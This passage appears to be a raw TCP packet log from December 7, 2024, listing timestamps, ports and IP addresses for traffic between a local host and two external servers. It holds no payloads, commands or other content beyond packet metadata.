Dec 7, 2024 15:06:16.488903999 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.488951921 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.489028931 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.489077091 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.490165949 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.490216970 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.490322113 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.490365028 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.491473913 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.491524935 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.491561890 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.491614103 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.492772102 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.492821932 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.492897987 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.492945910 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.494122028 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.494174004 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.494338036 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.494385958 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.495445013 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.495500088 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.495589018 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.495636940 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.496690035 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.496741056 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.496807098 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.496859074 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.497993946 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.498048067 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.498089075 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.498141050 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.499397993 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.499443054 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.499510050 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.499567032 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.500603914 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.500711918 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.500725031 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.500771999 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.501916885 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.501952887 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.501980066 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.502000093 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.503211975 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.503268957 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.503304958 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.503355980 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.504517078 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.504580021 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.504692078 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.504740953 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.505815983 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.505865097 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.505913019 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.505961895 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.507122993 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.507178068 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.507239103 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.507281065 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.508497953 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.508517027 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.508570910 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.508595943 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.509730101 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.509807110 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.509835958 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.509885073 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.511063099 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.511132002 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.511168957 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.511215925 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.512376070 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.512434006 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.512439966 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.512487888 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.513655901 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.513710976 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.513725042 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.513781071 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.529656887 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.529731989 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.529757023 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.529772997 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.530262947 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.530323029 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.530344009 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.530392885 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.531241894 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.531311035 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.531344891 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.531397104 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.532490015 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.532552004 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.532592058 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.532644033 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.533756971 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.533801079 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.533827066 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.533862114 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.535159111 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.535171032 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.535258055 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.536269903 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.536350965 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.536351919 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.536412954 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.550993919 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:16.551064014 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:16.551115036 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:16.554099083 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:16.554918051 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:16.556639910 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:16.556694984 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:16.556718111 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:16.556763887 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:16.559365034 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:16.559604883 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:16.597872972 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.597942114 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.597949982 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.597997904 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.598464012 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.598507881 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.598562956 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.598603964 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.599708080 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.599759102 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.599790096 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.599837065 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.600954056 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.601002932 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.601087093 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.601135969 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.602191925 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.602236032 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.602303028 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.602344990 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.603429079 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.603472948 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.603487015 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.603528023 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.604686022 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.604724884 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.604799986 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.604846954 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.605918884 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.605953932 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.605966091 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.605990887 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.607176065 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.607191086 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.607225895 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.608429909 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.608477116 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.608542919 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.608587027 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.662559986 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.662611961 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.662745953 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.662786007 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.662985086 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.663032055 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.663247108 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.663286924 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.663892031 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.663945913 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.664019108 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.664057970 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.664804935 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.664844990 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.664913893 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.664957047 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.665736914 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.665795088 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.665901899 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.665944099 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.666692972 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.666739941 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.666786909 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.666831970 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.667717934 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.667767048 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.667793036 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.667839050 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.668665886 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.668730021 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.668863058 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.668915987 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.669719934 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.669765949 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.669822931 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.669872999 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.670523882 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.670576096 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.670636892 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.670670986 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.671499014 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.671545982 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.671549082 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.671585083 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.672610044 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.672651052 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.672723055 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.672761917 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.673460960 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.673525095 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.673557997 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.673600912 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.674355984 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.674401999 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.674549103 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.674592018 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.674705982 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:16.675358057 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.675409079 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.675432920 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.675466061 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.676253080 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.676290035 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.676378965 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.676419020 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.677216053 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.677261114 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.677587986 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.677642107 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.678190947 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.678237915 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.678302050 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.678345919 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.679126024 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.679171085 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.679191113 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.679225922 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.679563046 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:16.680095911 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.680140018 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.680207014 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.680248976 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.681149960 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.681200027 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.681236982 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.681276083 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.682015896 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.682058096 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.682070971 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.682111979 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.682961941 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.683049917 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.683180094 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.683222055 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.683922052 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.683964968 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.684039116 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.684087992 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.684947968 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.684994936 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.685010910 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.685062885 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.685841084 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.685894966 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.685976028 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.686024904 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.686820984 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.686906099 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.687057018 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.687098980 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.687796116 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.687839985 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.687872887 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.687916040 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.688729048 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.688775063 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.688826084 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.688860893 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.689754009 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.689800978 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.689939022 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.689976931 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.690622091 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.690674067 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.690711975 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.690764904 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.691579103 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.691618919 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.691667080 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.691705942 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.692533016 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.692575932 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.692616940 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.692656994 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.693471909 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.693517923 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.693609953 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.693654060 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.694622040 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.694664001 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.694735050 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.694802999 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.695398092 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.695452929 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.695482969 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.695525885 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.696445942 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.696489096 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.721698046 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.721750021 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.721762896 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.721797943 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.722140074 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.722204924 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.722244024 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.722285986 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.723129988 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.723181009 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.723273993 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.723316908 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.724153042 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.724205017 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.724267960 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.724313974 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.725052118 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.725099087 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.725163937 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.725210905 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.726011038 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.726058006 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.726136923 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.726174116 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.726943016 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.726990938 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.727025032 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.727072001 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.742862940 CET	443	49705	13.107.246.63	192.168.2.8
Dec 7, 2024 15:06:16.747458935 CET	49705	443	192.168.2.8	13.107.246.63
Dec 7, 2024 15:06:16.790030956 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.790090084 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.790185928 CET	80	49706	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:16.790225029 CET	49706	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:16.790481091 CET	80	49706	185.215.113.206	192.168.2.8
